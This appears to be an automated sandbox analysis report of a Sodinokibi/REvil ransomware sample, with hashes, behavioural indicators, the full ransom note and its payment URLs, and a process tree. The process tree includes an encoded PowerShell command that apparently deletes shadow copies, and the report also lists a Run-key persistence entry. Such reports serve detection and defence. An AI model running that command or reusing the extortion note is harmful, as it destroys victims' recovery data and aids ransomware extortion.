Analysis
- max time kernel
171s - max time network
190s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
24/01/2022, 00:46
Static task
static1
Behavioral task
behavioral1
Sample
eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
- Target eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe
- Size 287KB
- Sample220124-a4tk1sghdp
- SHA256 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa
- MD5 b7359def523cd411f16d36e701635b83
- SHA1 cfba3e203e37227331f5136d339ec4c28c3329c8
- SHA512 197a8ce2ed8270d68beb27531d457916ab8e1539c18f2d97982db9f9834e7fc95b0eee1d523deebf3a2276bb7bf7b7d4ab3609a322622bc95d6980237d5d680d
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Path
-
C:\s0pf4-readme.txt
-
sodinokibi
Ransom Note
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion s0pf4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A409E7659E5E599 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9A409E7659E5E599 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: am0xEF2TIBDyz643H3bu3+6sgYRmTUt/dY+5r/s6uwuANEg/MJzK7MooTkOw2mFq 7IBsfNSPExuoQWVsXvY+wKP8CC9k9v/GwiMYYajOQdmQZpiq+WlIWKNis/S8N8oI 2Eij3OrOmjXiGMkAiPY8lIF4BvXTW9G48xXl2m1MDDnAtpTMEmgHGyBQJaDRFwsH wPYCEnVzm4fCNklru+URDw/+W9TRldhfRDvOvQjqHHWhZV+qy+Vc+cyrQ9xOD5Uq /tpxvjjZOhKI4F56O4oZirvqbeBPHdbtLMLJgKa3OtInP+Yx3LXOYtvf+5Py1j4a tAuDhPdA5IaJzG4ym0rftLjLdRTzPz3dqj6PZWmx0ESlFObxG203uqG8UvdCAqGI vadj2iLrmQzbCMsEuCL85xLQrntFHR9xYXfvKL5dhUdUeEjlrgNBpyGP/u7qogFb 007z6fGdbcEgua2sOzPAT6jTedbNFMn5gWQxPHr6sujDXCC41UIOemGPTRpBQOFt B28e4cdEWl97/DAogwe/7slGtMxzBH6terFar3omE3O4cXaPNvKTLkSfez0Mbo3Y YCGpOXM1JCisnEW00+2mQ1ZcD0HfBUlF31em8IO5F5lyL23vhZyOZOMztzFRk33c gxLVDYAkE+HxGJuErZZwIFSwWSslvHrB5ylJjL9nYYfQouRs3J36fmbOTXgoRYyN EE7UKKoJLeWxkfGrXsn6ylCwmK0AHemCn6eqCFOTq3psHof7P7sXuQPyQJTDjnAn noSb3qoClT6cT1zXDhKBIp+u5fy7H5zyuexiwTUNcS6KvOT/wa41P0woOPg6LGXI JWEOwIwL8rUdSA8cS08c9UhqlNg2QXBJvXslT50Fh1znfFP7R9EePktT8ZW91ThG W6Ejoste6S+nNM5tGNbb7qVloSZ9lO+GF/YTUFU2Wxlcrjf/4ul86SOlZ2NEVPbX Dqg0jteLMhwKnOYPJwPsb/3e4zynETocnDw6GhTS87ftwU3CKMAXZIvjmS2MxFuH RavNhpxizKaZ56IRqqDd9gT1B6nZjDEkjsFBd/vjHHmMnEzFX3mo9fsS6QTBgAaS P9sUSy3CmMXhWUhYayZvWbc84zg2hFs0kU6GUGRxFL3V+GpB5rSGrKb24T5n68a5 ClMrdOGivSFon0DIecbkW8l2EmPsJ5QJy5CKG7JNchqasaNwefpGVjabf+addXDt 9y5Bl2LHSlW9KppDfne3tiZm3ix0SL5x1GiRv96/tHh0dZV6FOUuNPxTu2NjglQj 0926enUZI/hEY6JKZyI= Extension name: s0pf4 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9A409E7659E5E599
-
http://decryptor.cc/9A409E7659E5E599
Signatures
- Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe" eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe - Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\P: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\Q: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\U: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\X: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\Z: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\F: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\G: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\J: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\L: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\M: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\R: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\I: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\K: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\S: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\V: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\Y: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\W: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\A: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\E: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\H: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\N: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\O: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened (read-only) \??\T: eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe - Drops file in Program Files directory 36 IoCs
description ioc Process File opened for modification \??\c:\program files\MountInvoke.jtx eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\OptimizeMeasure.m1v eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\SetInstall.dxf eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\StepResolve.scf eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ConvertProtect.fon eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\EnablePing.ex_ eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\InvokeStep.jpeg eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\LockDisable.dot eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ExpandRestart.avi eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\RestoreNew.aif eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\RevokeProtect.dxf eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\TraceSet.3gp2 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\WatchEnable.TTS eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\DebugMove.avi eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\FindMount.fon eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\LimitGrant.vbs eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ResetRedo.rtf eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ConnectUnlock.xht eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ConvertToExpand.raw eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\InitializeConvert.3gpp eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\UnblockApprove.xla eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ExpandCheckpoint.xml eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\SuspendBlock.ods eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\MeasureMerge.ex_ eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\OutGrant.i64 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ReadSkip.mid eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File created \??\c:\program files (x86)\s0pf4-readme.txt eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\AddDisconnect.midi eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ExitRestart.odp eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ExportConnect.asf eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File created \??\c:\program files\s0pf4-readme.txt eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\RenameConvertTo.pot eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\SkipEnable.fon eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\AssertOptimize.rmi eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\ReceiveRegister.M2TS eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe File opened for modification \??\c:\program files\UnregisterClear.potm eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 2444 powershell.exe 2444 powershell.exe 2444 powershell.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe Token: SeDebugPrivilege 2444 powershell.exe Token: SeBackupPrivilege 2484 vssvc.exe Token: SeRestorePrivilege 2484 vssvc.exe Token: SeAuditPrivilege 2484 vssvc.exe Token: SeTakeOwnershipPrivilege 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1288 wrote to memory of 2444 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 74 PID 1288 wrote to memory of 2444 1288 eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe 74
Processes
-
C:\Users\Admin\AppData\Local\Temp\eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe"C:\Users\Admin\AppData\Local\Temp\eb19ca4400ce63e91e8698b22924dff0376e75851b2ff6a00d08626835ba90fa.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1552
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2484